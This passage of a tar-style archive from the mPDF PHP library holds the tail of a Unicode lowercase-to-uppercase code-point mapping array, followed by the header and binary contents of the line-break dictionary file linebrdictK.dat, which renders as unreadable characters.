=> 77, 110 => 78, 111 => 79, 112 => 80, 113 => 81, 114 => 82, 115 => 83, 116 => 84, 117 => 85, 118 => 86, 119 => 87, 120 => 88, 121 => 89, 122 => 90, 181 => 924, 224 => 192, 225 => 193, 226 => 194, 227 => 195, 228 => 196, 229 => 197, 230 => 198, 231 => 199, 232 => 200, 233 => 201, 234 => 202, 235 => 203, 236 => 204, 237 => 205, 238 => 206, 239 => 207, 240 => 208, 241 => 209, 242 => 210, 243 => 211, 244 => 212, 245 => 213, 246 => 214, 248 => 216, 249 => 217, 250 => 218, 251 => 219, 252 => 220, 253 => 221, 254 => 222, 255 => 376, 257 => 256, 259 => 258, 261 => 260, 263 => 262, 265 => 264, 267 => 266, 269 => 268, 271 => 270, 273 => 272, 275 => 274, 277 => 276, 279 => 278, 281 => 280, 283 => 282, 285 => 284, 287 => 286, 289 => 288, 291 => 290, 293 => 292, 295 => 294, 297 => 296, 299 => 298, 301 => 300, 303 => 302, 305 => 73, 307 => 306, 309 => 308, 311 => 310, 314 => 313, 316 => 315, 318 => 317, 320 => 319, 322 => 321, 324 => 323, 326 => 325, 328 => 327, 331 => 330, 333 => 332, 335 => 334, 337 => 336, 339 => 338, 341 => 340, 343 => 342, 345 => 344, 347 => 346, 349 => 348, 351 => 350, 353 => 352, 355 => 354, 357 => 356, 359 => 358, 361 => 360, 363 => 362, 365 => 364, 367 => 366, 369 => 368, 371 => 370, 373 => 372, 375 => 374, 378 => 377, 380 => 379, 382 => 381, 383 => 83, 384 => 579, 387 => 386, 389 => 388, 392 => 391, 396 => 395, 402 => 401, 405 => 502, 409 => 408, 410 => 573, 414 => 544, 417 => 416, 419 => 418, 421 => 420, 424 => 423, 429 => 428, 432 => 431, 436 => 435, 438 => 437, 441 => 440, 445 => 444, 447 => 503, 453 => 452, 454 => 452, 456 => 455, 457 => 455, 459 => 458, 460 => 458, 462 => 461, 464 => 463, 466 => 465, 468 => 467, 470 => 469, 472 => 471, 474 => 473, 476 => 475, 477 => 398, 479 => 478, 481 => 480, 483 => 482, 485 => 484, 487 => 486, 489 => 488, 491 => 490, 493 => 492, 495 => 494, 498 => 497, 499 => 497, 501 => 500, 505 => 504, 507 => 506, 509 => 508, 511 => 510, 513 => 512, 515 => 514, 517 => 516, 519 => 518, 521 => 520, 523 => 522, 525 => 524, 527 => 526, 529 => 528, 531 => 530, 533 => 532, 535 => 534, 537 => 536, 539 => 538, 541 => 540, 543 => 542, 547 => 546, 549 => 548, 551 => 550, 553 => 552, 555 => 554, 557 => 556, 559 => 558, 561 => 560, 563 => 562, 572 => 571, 575 => 11390, 576 => 11391, 578 => 577, 583 => 582, 585 => 584, 587 => 586, 589 => 588, 591 => 590, 592 => 11375, 593 => 11373, 594 => 11376, 595 => 385, 596 => 390, 598 => 393, 599 => 394, 601 => 399, 603 => 400, 608 => 403, 611 => 404, 616 => 407, 617 => 406, 619 => 11362, 623 => 412, 625 => 11374, 626 => 413, 629 => 415, 637 => 11364, 640 => 422, 643 => 425, 648 => 430, 649 => 580, 650 => 433, 651 => 434, 652 => 581, 658 => 439, 837 => 921, 881 => 880, 883 => 882, 887 => 886, 891 => 1021, 892 => 1022, 893 => 1023, 940 => 902, 941 => 904, 942 => 905, 943 => 906, 945 => 913, 946 => 914, 947 => 915, 948 => 916, 949 => 917, 950 => 918, 951 => 919, 952 => 920, 953 => 921, 954 => 922, 955 => 923, 956 => 924, 957 => 925, 958 => 926, 959 => 927, 960 => 928, 961 => 929, 962 => 931, 963 => 931, 964 => 932, 965 => 933, 966 => 934, 967 => 935, 968 => 936, 969 => 937, 970 => 938, 971 => 939, 972 => 908, 973 => 910, 974 => 911, 976 => 914, 977 => 920, 981 => 934, 982 => 928, 983 => 975, 985 => 984, 987 => 986, 989 => 988, 991 => 990, 993 => 992, 995 => 994, 997 => 996, 999 => 998, 1001 => 1000, 1003 => 1002, 1005 => 1004, 1007 => 1006, 1008 => 922, 1009 => 929, 1010 => 1017, 1013 => 917, 1016 => 1015, 1019 => 1018, 1072 => 1040, 1073 => 1041, 1074 => 1042, 1075 => 1043, 1076 => 1044, 1077 => 1045, 1078 => 1046, 1079 => 1047, 1080 => 1048, 1081 => 1049, 1082 => 1050, 1083 => 1051, 1084 => 1052, 1085 => 1053, 1086 => 1054, 1087 => 1055, 1088 => 1056, 1089 => 1057, 1090 => 1058, 1091 => 1059, 1092 => 1060, 1093 => 1061, 1094 => 1062, 1095 => 1063, 1096 => 1064, 1097 => 1065, 1098 => 1066, 1099 => 1067, 1100 => 1068, 1101 => 1069, 1102 => 1070, 1103 => 1071, 1104 => 1024, 1105 => 1025, 1106 => 1026, 1107 => 1027, 1108 => 1028, 1109 => 1029, 1110 => 1030, 1111 => 1031, 1112 => 1032, 1113 => 1033, 1114 => 1034, 1115 => 1035, 1116 => 1036, 1117 => 1037, 1118 => 1038, 1119 => 1039, 1121 => 1120, 1123 => 1122, 1125 => 1124, 1127 => 1126, 1129 => 1128, 1131 => 1130, 1133 => 1132, 1135 => 1134, 1137 => 1136, 1139 => 1138, 1141 => 1140, 1143 => 1142, 1145 => 1144, 1147 => 1146, 1149 => 1148, 1151 => 1150, 1153 => 1152, 1163 => 1162, 1165 => 1164, 1167 => 1166, 1169 => 1168, 1171 => 1170, 1173 => 1172, 1175 => 1174, 1177 => 1176, 1179 => 1178, 1181 => 1180, 1183 => 1182, 1185 => 1184, 1187 => 1186, 1189 => 1188, 1191 => 1190, 1193 => 1192, 1195 => 1194, 1197 => 1196, 1199 => 1198, 1201 => 1200, 1203 => 1202, 1205 => 1204, 1207 => 1206, 1209 => 1208, 1211 => 1210, 1213 => 1212, 1215 => 1214, 1218 => 1217, 1220 => 1219, 1222 => 1221, 1224 => 1223, 1226 => 1225, 1228 => 1227, 1230 => 1229, 1231 => 1216, 1233 => 1232, 1235 => 1234, 1237 => 1236, 1239 => 1238, 1241 => 1240, 1243 => 1242, 1245 => 1244, 1247 => 1246, 1249 => 1248, 1251 => 1250, 1253 => 1252, 1255 => 1254, 1257 => 1256, 1259 => 1258, 1261 => 1260, 1263 => 1262, 1265 => 1264, 1267 => 1266, 1269 => 1268, 1271 => 1270, 1273 => 1272, 1275 => 1274, 1277 => 1276, 1279 => 1278, 1281 => 1280, 1283 => 1282, 1285 => 1284, 1287 => 1286, 1289 => 1288, 1291 => 1290, 1293 => 1292, 1295 => 1294, 1297 => 1296, 1299 => 1298, 1301 => 1300, 1303 => 1302, 1305 => 1304, 1307 => 1306, 1309 => 1308, 1311 => 1310, 1313 => 1312, 1315 => 1314, 1317 => 1316, 1377 => 1329, 1378 => 1330, 1379 => 1331, 1380 => 1332, 1381 => 1333, 1382 => 1334, 1383 => 1335, 1384 => 1336, 1385 => 1337, 1386 => 1338, 1387 => 1339, 1388 => 1340, 1389 => 1341, 1390 => 1342, 1391 => 1343, 1392 => 1344, 1393 => 1345, 1394 => 1346, 1395 => 1347, 1396 => 1348, 1397 => 1349, 1398 => 1350, 1399 => 1351, 1400 => 1352, 1401 => 1353, 1402 => 1354, 1403 => 1355, 1404 => 1356, 1405 => 1357, 1406 => 1358, 1407 => 1359, 1408 => 1360, 1409 => 1361, 1410 => 1362, 1411 => 1363, 1412 => 1364, 1413 => 1365, 1414 => 1366, 7545 => 42877, 7549 => 11363, 7681 => 7680, 7683 => 7682, 7685 => 7684, 7687 => 7686, 7689 => 7688, 7691 => 7690, 7693 => 7692, 7695 => 7694, 7697 => 7696, 7699 => 7698, 7701 => 7700, 7703 => 7702, 7705 => 7704, 7707 => 7706, 7709 => 7708, 7711 => 7710, 7713 => 7712, 7715 => 7714, 7717 => 7716, 7719 => 7718, 7721 => 7720, 7723 => 7722, 7725 => 7724, 7727 => 7726, 7729 => 7728, 7731 => 7730, 7733 => 7732, 7735 => 7734, 7737 => 7736, 7739 => 7738, 7741 => 7740, 7743 => 7742, 7745 => 7744, 7747 => 7746, 7749 => 7748, 7751 => 7750, 7753 => 7752, 7755 => 7754, 7757 => 7756, 7759 => 7758, 7761 => 7760, 7763 => 7762, 7765 => 7764, 7767 => 7766, 7769 => 7768, 7771 => 7770, 7773 => 7772, 7775 => 7774, 7777 => 7776, 7779 => 7778, 7781 => 7780, 7783 => 7782, 7785 => 7784, 7787 => 7786, 7789 => 7788, 7791 => 7790, 7793 => 7792, 7795 => 7794, 7797 => 7796, 7799 => 7798, 7801 => 7800, 7803 => 7802, 7805 => 7804, 7807 => 7806, 7809 => 7808, 7811 => 7810, 7813 => 7812, 7815 => 7814, 7817 => 7816, 7819 => 7818, 7821 => 7820, 7823 => 7822, 7825 => 7824, 7827 => 7826, 7829 => 7828, 7835 => 7776, 7841 => 7840, 7843 => 7842, 7845 => 7844, 7847 => 7846, 7849 => 7848, 7851 => 7850, 7853 => 7852, 7855 => 7854, 7857 => 7856, 7859 => 7858, 7861 => 7860, 7863 => 7862, 7865 => 7864, 7867 => 7866, 7869 => 7868, 7871 => 7870, 7873 => 7872, 7875 => 7874, 7877 => 7876, 7879 => 7878, 7881 => 7880, 7883 => 7882, 7885 => 7884, 7887 => 7886, 7889 => 7888, 7891 => 7890, 7893 => 7892, 7895 => 7894, 7897 => 7896, 7899 => 7898, 7901 => 7900, 7903 => 7902, 7905 => 7904, 7907 => 7906, 7909 => 7908, 7911 => 7910, 7913 => 7912, 7915 => 7914, 7917 => 7916, 7919 => 7918, 7921 => 7920, 7923 => 7922, 7925 => 7924, 7927 => 7926, 7929 => 7928, 7931 => 7930, 7933 => 7932, 7935 => 7934, 7936 => 7944, 7937 => 7945, 7938 => 7946, 7939 => 7947, 7940 => 7948, 7941 => 7949, 7942 => 7950, 7943 => 7951, 7952 => 7960, 7953 => 7961, 7954 => 7962, 7955 => 7963, 7956 => 7964, 7957 => 7965, 7968 => 7976, 7969 => 7977, 7970 => 7978, 7971 => 7979, 7972 => 7980, 7973 => 7981, 7974 => 7982, 7975 => 7983, 7984 => 7992, 7985 => 7993, 7986 => 7994, 7987 => 7995, 7988 => 7996, 7989 => 7997, 7990 => 7998, 7991 => 7999, 8000 => 8008, 8001 => 8009, 8002 => 8010, 8003 => 8011, 8004 => 8012, 8005 => 8013, 8017 => 8025, 8019 => 8027, 8021 => 8029, 8023 => 8031, 8032 => 8040, 8033 => 8041, 8034 => 8042, 8035 => 8043, 8036 => 8044, 8037 => 8045, 8038 => 8046, 8039 => 8047, 8048 => 8122, 8049 => 8123, 8050 => 8136, 8051 => 8137, 8052 => 8138, 8053 => 8139, 8054 => 8154, 8055 => 8155, 8056 => 8184, 8057 => 8185, 8058 => 8170, 8059 => 8171, 8060 => 8186, 8061 => 8187, 8064 => 8072, 8065 => 8073, 8066 => 8074, 8067 => 8075, 8068 => 8076, 8069 => 8077, 8070 => 8078, 8071 => 8079, 8080 => 8088, 8081 => 8089, 8082 => 8090, 8083 => 8091, 8084 => 8092, 8085 => 8093, 8086 => 8094, 8087 => 8095, 8096 => 8104, 8097 => 8105, 8098 => 8106, 8099 => 8107, 8100 => 8108, 8101 => 8109, 8102 => 8110, 8103 => 8111, 8112 => 8120, 8113 => 8121, 8115 => 8124, 8126 => 921, 8131 => 8140, 8144 => 8152, 8145 => 8153, 8160 => 8168, 8161 => 8169, 8165 => 8172, 8179 => 8188, 8526 => 8498, 8560 => 8544, 8561 => 8545, 8562 => 8546, 8563 => 8547, 8564 => 8548, 8565 => 8549, 8566 => 8550, 8567 => 8551, 8568 => 8552, 8569 => 8553, 8570 => 8554, 8571 => 8555, 8572 => 8556, 8573 => 8557, 8574 => 8558, 8575 => 8559, 8580 => 8579, 9424 => 9398, 9425 => 9399, 9426 => 9400, 9427 => 9401, 9428 => 9402, 9429 => 9403, 9430 => 9404, 9431 => 9405, 9432 => 9406, 9433 => 9407, 9434 => 9408, 9435 => 9409, 9436 => 9410, 9437 => 9411, 9438 => 9412, 9439 => 9413, 9440 => 9414, 9441 => 9415, 9442 => 9416, 9443 => 9417, 9444 => 9418, 9445 => 9419, 9446 => 9420, 9447 => 9421, 9448 => 9422, 9449 => 9423, 11312 => 11264, 11313 => 11265, 11314 => 11266, 11315 => 11267, 11316 => 11268, 11317 => 11269, 11318 => 11270, 11319 => 11271, 11320 => 11272, 11321 => 11273, 11322 => 11274, 11323 => 11275, 11324 => 11276, 11325 => 11277, 11326 => 11278, 11327 => 11279, 11328 => 11280, 11329 => 11281, 11330 => 11282, 11331 => 11283, 11332 => 11284, 11333 => 11285, 11334 => 11286, 11335 => 11287, 11336 => 11288, 11337 => 11289, 11338 => 11290, 11339 => 11291, 11340 => 11292, 11341 => 11293, 11342 => 11294, 11343 => 11295, 11344 => 11296, 11345 => 11297, 11346 => 11298, 11347 => 11299, 11348 => 11300, 11349 => 11301, 11350 => 11302, 11351 => 11303, 11352 => 11304, 11353 => 11305, 11354 => 11306, 11355 => 11307, 11356 => 11308, 11357 => 11309, 11358 => 11310, 11361 => 11360, 11365 => 570, 11366 => 574, 11368 => 11367, 11370 => 11369, 11372 => 11371, 11379 => 11378, 11382 => 11381, 11393 => 11392, 11395 => 11394, 11397 => 11396, 11399 => 11398, 11401 => 11400, 11403 => 11402, 11405 => 11404, 11407 => 11406, 11409 => 11408, 11411 => 11410, 11413 => 11412, 11415 => 11414, 11417 => 11416, 11419 => 11418, 11421 => 11420, 11423 => 11422, 11425 => 11424, 11427 => 11426, 11429 => 11428, 11431 => 11430, 11433 => 11432, 11435 => 11434, 11437 => 11436, 11439 => 11438, 11441 => 11440, 11443 => 11442, 11445 => 11444, 11447 => 11446, 11449 => 11448, 11451 => 11450, 11453 => 11452, 11455 => 11454, 11457 => 11456, 11459 => 11458, 11461 => 11460, 11463 => 11462, 11465 => 11464, 11467 => 11466, 11469 => 11468, 11471 => 11470, 11473 => 11472, 11475 => 11474, 11477 => 11476, 11479 => 11478, 11481 => 11480, 11483 => 11482, 11485 => 11484, 11487 => 11486, 11489 => 11488, 11491 => 11490, 11500 => 11499, 11502 => 11501, 11520 => 4256, 11521 => 4257, 11522 => 4258, 11523 => 4259, 11524 => 4260, 11525 => 4261, 11526 => 4262, 11527 => 4263, 11528 => 4264, 11529 => 4265, 11530 => 4266, 11531 => 4267, 11532 => 4268, 11533 => 4269, 11534 => 4270, 11535 => 4271, 11536 => 4272, 11537 => 4273, 11538 => 4274, 11539 => 4275, 11540 => 4276, 11541 => 4277, 11542 => 4278, 11543 => 4279, 11544 => 4280, 11545 => 4281, 11546 => 4282, 11547 => 4283, 11548 => 4284, 11549 => 4285, 11550 => 4286, 11551 => 4287, 11552 => 4288, 11553 => 4289, 11554 => 4290, 11555 => 4291, 11556 => 4292, 11557 => 4293, 42561 => 42560, 42563 => 42562, 42565 => 42564, 42567 => 42566, 42569 => 42568, 42571 => 42570, 42573 => 42572, 42575 => 42574, 42577 => 42576, 42579 => 42578, 42581 => 42580, 42583 => 42582, 42585 => 42584, 42587 => 42586, 42589 => 42588, 42591 => 42590, 42595 => 42594, 42597 => 42596, 42599 => 42598, 42601 => 42600, 42603 => 42602, 42605 => 42604, 42625 => 42624, 42627 => 42626, 42629 => 42628, 42631 => 42630, 42633 => 42632, 42635 => 42634, 42637 => 42636, 42639 => 42638, 42641 => 42640, 42643 => 42642, 42645 => 42644, 42647 => 42646, 42787 => 42786, 42789 => 42788, 42791 => 42790, 42793 => 42792, 42795 => 42794, 42797 => 42796, 42799 => 42798, 42803 => 42802, 42805 => 42804, 42807 => 42806, 42809 => 42808, 42811 => 42810, 42813 => 42812, 42815 => 42814, 42817 => 42816, 42819 => 42818, 42821 => 42820, 42823 => 42822, 42825 => 42824, 42827 => 42826, 42829 => 42828, 42831 => 42830, 42833 => 42832, 42835 => 42834, 42837 => 42836, 42839 => 42838, 42841 => 42840, 42843 => 42842, 42845 => 42844, 42847 => 42846, 42849 => 42848, 42851 => 42850, 42853 => 42852, 42855 => 42854, 42857 => 42856, 42859 => 42858, 42861 => 42860, 42863 => 42862, 42874 => 42873, 42876 => 42875, 42879 => 42878, 42881 => 42880, 42883 => 42882, 42885 => 42884, 42887 => 42886, 42892 => 42891); vendor/mpdf/mpdf/data/linebrdictK.dat000064400004010730147600022140013553 0ustar00™ hÿŒ †ÓYƒ£HF€¢L["œ‰r„†€¼QŸ“‘pˆi€»Çf‰Çˆ¶˜š…‘¹€€€Š¸š…·Ò·Ê¶©ŸÒ‘Ƕ”µ™¾”™€€¼š¸·íŠê…€€»…Š”ö›”€€»”›…¼›‡·» ¸»’4…1€…ŸF’—ŽÒŒŸ“ҒȽ¾½z¼šn“š€€¶™½šÁŠ¾Áš”€€¶”DZš†Ò¢¹„Ç€€¶™ËDÄ$”„쀀šé€Ä€š„€Äý€Ä„Ä„Ç!”‚€Òš”¸‚ÄÇÄŸ8€€€¶€ÇAŸÇÌÆˇ”z€ÒhŠÅ”sÅ”¶›………„˜É„›²˜«‡Òš»„˜¼›Ÿ¿›»™Ÿ€ËÒÑÌŠÒš4„ö€ŠÈó¶È›—¶–Š"„À·…À„€„-ŠŠ·€œÈ›¦š¾X¼S·¼ŸÄ˜¾€š€‘¹€€€Òš¾€Š¸šÆ–‘‡½›–¾€ÄÇ£€Ç›·µ¶€Ë·€€€Ò›¶€ËŸãœ·Ÿ€€Òœ¶ŸË¢îŸ¶¢¹J¶ÿ˜·/¶™,€€Ò#€Ò¢¶™Ò¢¶™™·›G…€€Ò¢À€›Àb¹€€€Ò¢·›ÂƒÀ…€€€€Ò¢¶™…‚ ¼ç¹Î·¥€Ë·¹€€€Ë””€»”»Ù¹€»”ä„”ÂÀ¼Ÿþ…ŸÀ…Ò€€Ä€ÒœP›0–¶€Ë›Á?¶€ËÁǀқĉŸãœ·y¶i€Ë¶Ÿv…ËŸ¾¯·…—€€Òœ€Ë“ …“€Òœ„ËÁº¾€ÁŸÓ„€Òœ¶€ËŸ€Òœ¶ŸŸ¹”ý€€ÒŸ½›”€ÒŸÀœ‚¸…ô„” ðŠ¬…Ý€·˜G“˶k˜Ò›¶Æ„”ÁšÁ”ĶÆ|š–¶šÆ—Ò›¾„’ÆÁ±»¨·Ò·™Ÿ»˜¶šÒ¼Á„ÒšÄØœÂÓ·›Â›Ä™ƒûÁ˜ôÒ˜šÈƒ»Æ‡m…Å=›€Òš›Ð8“¼”Ò˜Ò—ÐÆFÅÒ`Æ”¾„˜½™€„Òšœ¶€Ëˆ£‡¾¸†š¶¸œ–›Æš¾„Æ“½™ˆÒ›”‘1ΊÃ˹€“¶Æà ¼ ¶˜Òš½š€ÒŸ¶ÂÒš¶Ž¹„Ƽ…Æ”“ËÒ˜¾š‡¾„’ {‘ÐO¶ ¶“‡¶„Ж–ßš‡q…ÆŽ¶“Š‘‡¾„‘Š‚Ä€‘¹€ŠÆš¸«Æ”“Ë”ÂÒ˜¾š‡¾„”Òš‡¶‡“€˜Ò–»‡¶Ÿ $˜ –Òü·ŸÁŸÒšÃš ˜½ »½™š‘ÁÇ¢ @ŸÒ 7ÁÇÒš½…¥ Q¢¶€¶Ÿ¥Ÿ p“Ò‘Òš¸€Òš ˜ŸÒŸšÈ“ ‘’Æ Ž˜ÌÆ“¶ ²‚š”¶›”Òš‡¶‡“¶œ Íš¸€Ò›¶ ¶“œ· අšŽÍ¹ ë·€¹€› .˜ à• x”É 9¼ 0‰Ò‡¼ %¶€¶š¼“Ÿ¶š¼šÐŽÒ iɼ›¸ Z·Ÿ–·ŸÁŸ¸Ÿ–·ŸÁŸÒš™»‘Ò’– ‡•›·–· È› £€ÒšÄÇ’ ü…ŸÆŽ„Ë¢‚¶š’ÆÐ ×·ŸÁŸÐ“Ò’™ ˜¶ “»ŸÒŸ…¶ŸË» ¶Ÿ»š w™¶ G€€¶šŸÆ <˜Ò„¶ËÆ„¶ËÄ \¶˜›Ò”¶Ä’¶ t–›‡¶·¶š™ îŽ §€ÒŸ¶ žÁÒÂÒš áŽÈ ÔŸ·šÒŸŸÁš¸€¶‡¶·ÈŸ·šÒŸ€ÒšÄǶ ÷™Æ '¶‡¢ ˜Òš½¢¶œ»’ ÒÆ–„¢ œ E›Ò”¶Ÿ »œ· —¶ ŒšÈ {ŸÁ“¶’ v¼…’ÆÈŸÁ“¶¼…¶™›»€Ð ª·ŸÒœ€šÐ™€ŽÒŠ¶›ŸÄ ÎÁ“¶‡“Ò ÙęҜ èš½…œÐ™™ ÿÒš¶Ž™ÐË ¶¯ ž¢“ 'ÒŠƒ¶¶ Y“»ŸÁ“¸ R¶’ M¼…’Ƹ¯€¶œ p€¶Ÿ…šŽÍŸ …œ»’ ÒŸ¶š ›”š‘ÁŸš¯€— ¯‘ÁŸ—¶–҈˙! ç…Ò Ú€ÒšÒšœ¶€Ë” ô»„”Á Š·œÒ“ÍÂÁšÉ¶Â€Ÿ=š4™Ä„š‘ÁÇ¡[ŸÊTº€½šÊš¡¶“’}Ò‰»Æ’Ò›¶™’Ò›¶™Òš®a€Àå»Ã¶‰ËŸ¸š›€ŸÆ–˽׻‰Ô…‰½‰â…‰ÂùÀ˜ö“˜ÒA””"€Ò¼”Òš¶Æ„”Ò8Ä”5€”Òš»™ÒšÁN˜Á„€„Ò€Òš˜‚¦¾r¶¾‰Š‚ÄŸ›ŠÃ…¼›Š¶›ËŸÆ–Ë‚½“ŸœÏšÀ€„Ò€Òš„œÀV¶í›è€Ë›Ë·Q¶›Eš€Ëš8€Ò"„Ҁ”Ò1Š¶˜¶˜Òš…À€œN›œ·“ÂlÁgÀ…ÁšÇw›Ƕ ŽŸÂš ·Ç¶Ÿš¶š™±”€ËœÀ™“Òœ·›Â۷؅“ñ€„Ò ›Ë“‡b…Ò Á·™Ò†]…¶'”ŸÒœ¶™“¼?ÒÁšÈZ¼”Ò˜Ò—€ÈȆȇ¾m¶¾„ŒmŠÒ‰ÒŒ†›ÒˆI†y…»Ü”9„+€Ë”é‚Í€‰Ò…„†Þ‚Òš¶†Ò›»Çœ—”ɼ›€˜Ò˜—ғ€¡$œÉ“¶¡¶““4„“ȶ‰”Ë”q’h€‰Ò‡c…¼œ‡½’¶»˜€”¶š¸˜¶Ë¹Ô¶˜»¸‰Ë…Ò¯Á€Òš¶ŸŸÄ˜ÆÏŸËÆ„¹„€Ä¨¼S»Æ”€‰Ò…¼œÇ ÆÇ;†0€Ò)ŠÄ„Ä„†Ò“¼’HÒ˜’Ò“¼Â†¼šz‰˜q‚¼˜¶“ËœƒšœÂ€”ɶ›ËÒš»ÆÆÎĔ¿„˜Ë”˜Ò×ÆÒš¹"¶õ„ð€„Ë·¶Ÿ‰ËÆŸÆ·”…”¼JºE¹„9€”B„”º”ÂU¼…Ät„œmšÂ„œÂ„ÄLJ醼5¶ÚÁ€Ë€Ž¶‰Ò†Â±Á„„ŽÒŠÀ›×€‰Ò†·›·¶‰ú€Ë€‰Ò†Â„‰Ë¹0·$€‰Ò†€Ë›-›¹˜Àj½F¼„¾Q½„¾›g‰‡Òš¼€›Â§Á„Àœ„œÁ„š¤€‰Ò†šÄÛ”¿„œØ”€‰Ò†½œÄ愇½Àš*“ „€Ë„Ë”%“Š ‡ÃŠÃ”˹§¶Fš¶’·”¸¶“ƒq€Ë¢hŸÒ›¶¢Æ–Å¢¶›Ò„„Ë”Ž“ËƤ”Ë–¶€Ò™Æ»²¹„»Ÿ˜¶“ËÂ-À¾Õ½¾”ú’ï‡Æ–ÄÇ’Ò›»Ç• ”¶™Š¶…š•¾„šÁ(À…ÁÇÇlÄiÂÇŸM…Òš€¢^ŸÒš¼œ¢„Ò€šÄҚǂ•€‰Ò–Ž‡¶™–¶™‚ÁÒš¹Õ¶¸˜µ€Ë˜·Å¶Æ„¸Ð·›¸œÀö¼æ¹›½ñ¼€½…ÄÀ”…œ”œÅFÄ„:€”3‚Ò“¶”Ä€›C„›Å‰Vˆ¼Ÿš‰¶š|”„Ò ¶‰˜É¼¯‹š¶Ÿ¸¯€šÒ‡¬…·§€Ë·€‡À¹¹›ÄÄÀœÄ›Ï€›‹NŠ·ù¶ê”¶Ÿ»’¶‚÷–”Ò”‘ÁŸ–“Ò’Ò&ÃÒ‹˜:‚Ò‚·˜ŽÒŒ¼K”¼‹·“‘fÒ¶š‘¶“ŽvŒÍŽ·¨Ÿ‘šÄ‚¶ Ÿ·›¶¶Ž¼ÌÝ·Ì€¶ÇŸ·›¶¶šŸ¶ŸÒŠÒšÒæÌÒŒ1‹)Š¼Û¶S”P€È&¶#Ÿ‰Ò‰¶¶Ë/ÈË…E€Òš ¼„…·Ò”¹õ¶”…l€Ë‰…Ë›Âlj˖Қ¶™›ÕšÒ”ËŠ±ˆÒ“¶„Ÿ¼ŠÃŸÒšÂͼœÂ„šŸð›˜P‚þù€Â… ‚Ò“¶…ƎĘ“8‘-҄Ñ“Ò›Á•E“¹˜•Ò›¼œœšu™n˜»‚Á™”Ë›ˆš¶Òš¸›Æ ¢­Ÿ¢œ¶›ŸÒ‘¹„Ëí¢˜Ê’Òš¶Òš¶Ù˜Ò–š¶™è€¶Ÿ™»ËŸË»,¹”„Š‚ÄŠÆš¸˜#”˜†Â”»šB€…·ÒÆÑš”o†d€“Ò›¶†ÒœÁ„›ž”Òˆ„Ò€„ËҚ™˜ÁÇ„Ÿº›Ò˜ÂµÁÇÂǟҚ̊¶ÆšÂƆ”ÁŽ½ ¼”ò„”Ÿ™¶™‡¸ŸÁÇÀ½™À‘n„2Ò˜¼S„ŸHš¶™ŸÒœ¶™€Òg‰Ò‡¾Ò¢˜š‚“‘À“œ‹šœÂ­Á„’¤Š¸’Ò›ÇÄ΄¾€„€ŽÒŠÄ…Äšï…߀…€ŽÒŠÂ„›øš›Š‡ÒšÆ»ÆÆ”"Š»Æ”¶‹‡ÈmŒ˜K…¼¡–“Àh˜ ¶š¶‡”–ÒœÈÀš ÀÀ8»¶–€Ë…·Ò¶šÏ‰©…Ë”¿‰Ë–Òš¶™”˟Қ„›ØšŸý›•ò‘“Ò›Á•Ò›¼œŸË¼*»š€›'š”Қ„›¼”5„”ÂŽÁuÀšY€‰Ò‡¾œbšœŸÄ™š¶‡Ò™Á„’…Š¸’Ò›ÇĦ„€ŽÒÄ…Ä›½…€ŽÒ„› ¶‡·“¶· › .˜ %‰Ò‰¼ »¶’ ‚»Ž’˜Ì¼ ‚»Ž¶’˜Ì˜Á ·œ =›·€š¶ qœÁ RŸ¶“Á‘¸ n·“ i¶“¸¸¶œŸ¶“Ò¼ ±¹ ¬·€¶Ÿ ¡—Á‘Ÿ‰Ò‰¶¹”Ë Ä¼”€¶šÈÒ!‚Ë–!7!ˆ!…Æ ú·Ò…„…¶ÆÆŽ¶ÆˆÒ˜ÄÇ‘!Òš¶‘»€“¼œ‡Ä‚‡Ð™Ÿ!S—!L–“Ò’—·“ !yŸÆ!n˜Ò‚¶›ËÆ‚¶›Ë Á»Òš"Š! Š·!›¶·€·"k¶•"%“!Õ…¶!ȄҚöƔ¶…Ë”!蓙Ĕ¶™”Æ!ý“Ò–¼‡Ò"Æ›¶ŸË”ÒŠ¼šÒ™¼‘·…œ"Iš"B•›·€˜Ò˜š½˜Ÿ"Zœ·—¶‚ŸÊ¸“Á‘·…»"v·€»Æ"‡œ¶…€Æœ"—š„Ëœ¶˜7Ý”4·‘#Ѷ"¹“·#‰¶—#&“#…"ÝŽÒŒ…¶"ìš·™¶š"ù™ÌšÒ™”# “È”š#‘š·™ÄŸ¶“œ#M˜#9—¶‚˜»#H‚Ò‚»Ÿ#kœŸ#dÒ»Ÿ¶“¢#~Ÿ›Ò›¶”¢œŸ¶“·#”€“#“#¯€˜Ò˜‘#ÊÒ¶š€·…Ò…‘¶““$‘¹$›#ì˜Ò–›Ë$·”€Ò€ËÐ$¹€€Š¸Ð–“™$=‚$-€È”$8‚Á”“Ë$m·$P™¾„·ŠÒ‹¶$j—‚·“¸¶Ò$’Ë“$‹¶šÐ’¶“”ËÒ’.‘% ‹$ÝŠ»$˹$ƶš$É˚¹˜¾$Ø»›ª¾™‹»$ò¶Æ„‡¾„»…$ý€›%…›(t¾&(·%yš%7”%4„šÉ„”¶%BšÉ¶œ%cš%W‰Ëš‘Ò’¶Æ%tœšÉ¶œÆ„»%͹%¿·”%œ‰€“Ò»‰›%±”€“Ò¹˜›€“Ò¿¹˜%Ê”˜¼&»”%Þ‰›%ð”¢Êº›±& ª&¢»€ª³&±³¼¡&!”¡ÁÂ&mÀ&B¿&?¾™¿Á&MÀÁÇ&d”€“Ò¼”Ç¡„ËÅ&“Ä&‚šÉÂÄÇ€“Ò¾™Ò&¢ÅšÉÅÒš»'d¶&ë„&¼€”&Ý„”&ÒŠ¼„”ÒšÁ„”ËÒ›¶·'E¶„'B€Ë' šÉ¶€Ë‡'0€“ÒÒšÂ'+¾“„Š'=‡¾„ŠÃ„º'T·…º„”Òš¹„Â'°¾'u»ÆÁ'›¾“'„šÉ¾„™'˜“™Á€€“ÒÒš¶€Ä(TÃ'ËÂ'ȄÔ(…'ú€¶Ë›'ó€Òš…€›½Ÿ( …ÀšŠÂ€Òš„Šº–('”ËŸ(8–Á‡ÒšŸÒ(KʸŸ¶™Ò›¹€Æ(qÄ„(e€“(n„“Æ‘(ѹ(™ŸÒ›¶”Ä(›¹€Äš(§€š¶„‡(½€¾›(ʇ¾„›·…‘»*¶)J”).“(ý€Ë€“Ò‘Á‰“Š) ‡ÃË)ŠÃË”)#‡Ã”¶€Ë€š):”Ë›)Eš¶›Ë¸)Ù·)¼¶›)u‘)n…¢¶›‘¼€Ÿ)Š›Òš¢¶€Æ)•ŸËƘ)µ„ )°”¶™Ÿ 